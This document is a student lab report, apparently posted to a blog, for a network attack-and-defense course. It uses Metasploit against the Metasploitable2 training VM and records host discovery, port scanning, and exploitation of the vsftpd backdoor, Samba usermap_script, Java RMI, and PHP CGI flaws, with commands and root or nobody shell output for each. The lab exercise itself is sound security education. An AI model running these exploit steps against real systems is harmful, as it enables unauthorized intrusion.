20232326 2025-2026-1 《网络与系统攻防技术》实验六实验报告

1. 实验内容

本实践目标是掌握metasploit的用法。

指导书参考Rapid7官网的指导教程。

https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/

下载官方靶机Metasploitable2,完成下面实验内容。

(1)前期渗透

①主机发现(可用Aux中的arp_sweep,search一下就可以use)

②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。

③选做:也可以扫系统版本、漏洞等。

(2)Vsftpd源码包后门漏洞(21端口)

漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

利用步骤:

在kali中执行msfconsole 启动metasploit

use exploit/unix/ftp/vsftpd_234_backdoor 选择漏洞

set RHOST XX.xx.xx.xx 设置要攻击的机器IP(靶机IP)

exploit/run 开始攻击

利用成功
执行uname –a、 pwd、 id等命令 验证

(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

利用步骤:

use exploit/multi/samba/usermap_script 选择漏洞

set RHOST ip 设置要攻击的机器IP

exploit 开始攻击

利用成功 执行uname–a验证

(4)Java RMI SERVER命令执行漏洞(1099端口)

漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

操作步骤:

首先查看1099端口是否打开。

然后在MSF中:
use exploit/multi/misc/java_rmi_server

show options 查看配置参数

set RHOST (靶机IP)

exploit/run

sessions -i id

shell (进入meterpreter时,使用whoami验证下)

(5)PHP CGI参数执行注入漏洞(80端口)

漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

在kali中执行msfconsole,启动metasploit

msf > use exploit/multi/http/php_cgi_arg_injection 选择漏洞

set RHOST ip 设置要攻击的机器IP

exploit/run 开始攻击

2. 实验过程

2.1 环境准备

  • 攻击机:Kali Linux 2023.1(IP:192.168.239.130)
  • 靶机:Metasploitable2(IP:192.168.239.131,通过 VMware 与 Kali 桥接)

2.2 前期渗透

2.2.1 主机发现

使用 Metasploit 内置的 arp_sweep 模块扫描局域网内存活主机:

msfconsole
search arp_sweep
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.239.0/24  # 靶机所在网段
run

结果:发现靶机 IP 为 192.168.239.131

2.2.2 端口扫描

使用 Metasploit 的 portscan/tcp 模块扫描靶机开放端口:

search portscan/tcp
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.239.131
set PORTS 1-10000  # 扫描常见端口
run

结果:开放端口包括 21(FTP)、22(SSH)、80(HTTP)、139(Samba)、445(SMB)、1099(Java RMI)等。

2.2.3 系统/漏洞探测(选做)

使用 nmap 补充扫描系统版本和漏洞信息:

nmap -O -sV 192.168.239.131

结果:靶机为 Linux 2.6.x 内核,开放服务包括 Vsftpd 2.3.4、Samba 3.x、Apache 2.2.8 等。

2.3 漏洞利用实践

2.3.1 Vsftpd 源码包后门漏洞(21端口)

  1. 启动 Metasploit,搜索并选择漏洞模块:
msfconsole
search vsftpd_234_backdoor
use exploit/unix/ftp/vsftpd_234_backdoor
  1. 配置目标 IP 并攻击:
set RHOST 192.168.239.131
exploit
  1. 验证权限:
uname -a  # 显示 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
pwd       # 显示 /
id        # 显示 uid=0(root) gid=0(root) groups=0(root)

结果:成功获取 root 权限。

2.3.2 Samba MS-RPC Shell 命令注入漏洞(139端口)

  1. 选择漏洞模块并配置:
search usermap_script
use exploit/multi/samba/usermap_script
set RHOST 192.168.239.131
exploit
  1. 验证权限:
uname -a  # 显示 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id        # 显示 uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

结果:获取 nobody 权限 shell。

2.3.3 Java RMI Server 命令执行漏洞(1099端口)

  1. 确认 1099 端口开放后,选择漏洞模块:
search java_rmi_server
use exploit/multi/misc/java_rmi_server
set RHOST 192.168.239.131
exploit
  1. 进入 meterpreter 会话并验证:
sessions -i 1  # 进入会话
shell
whoami          # 显示 root

结果:成功获取 root 权限 meterpreter 会话。

2.3.4 PHP CGI 参数执行注入漏洞(80端口)

  1. 选择漏洞模块并攻击:
search php_cgi_arg_injection
use exploit/multi/http/php_cgi_arg_injection
set RHOST 192.168.239.131
exploit
  1. 验证权限:
uname -a  # 显示 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id        # 显示 uid=33(www-data) gid=33(www-data) groups=33(www-data)

结果:获取 www-data 权限 shell。

posted @ 2025-11-23 22:24  20232326朱思敏  阅读(6)  评论(0)    收藏  举报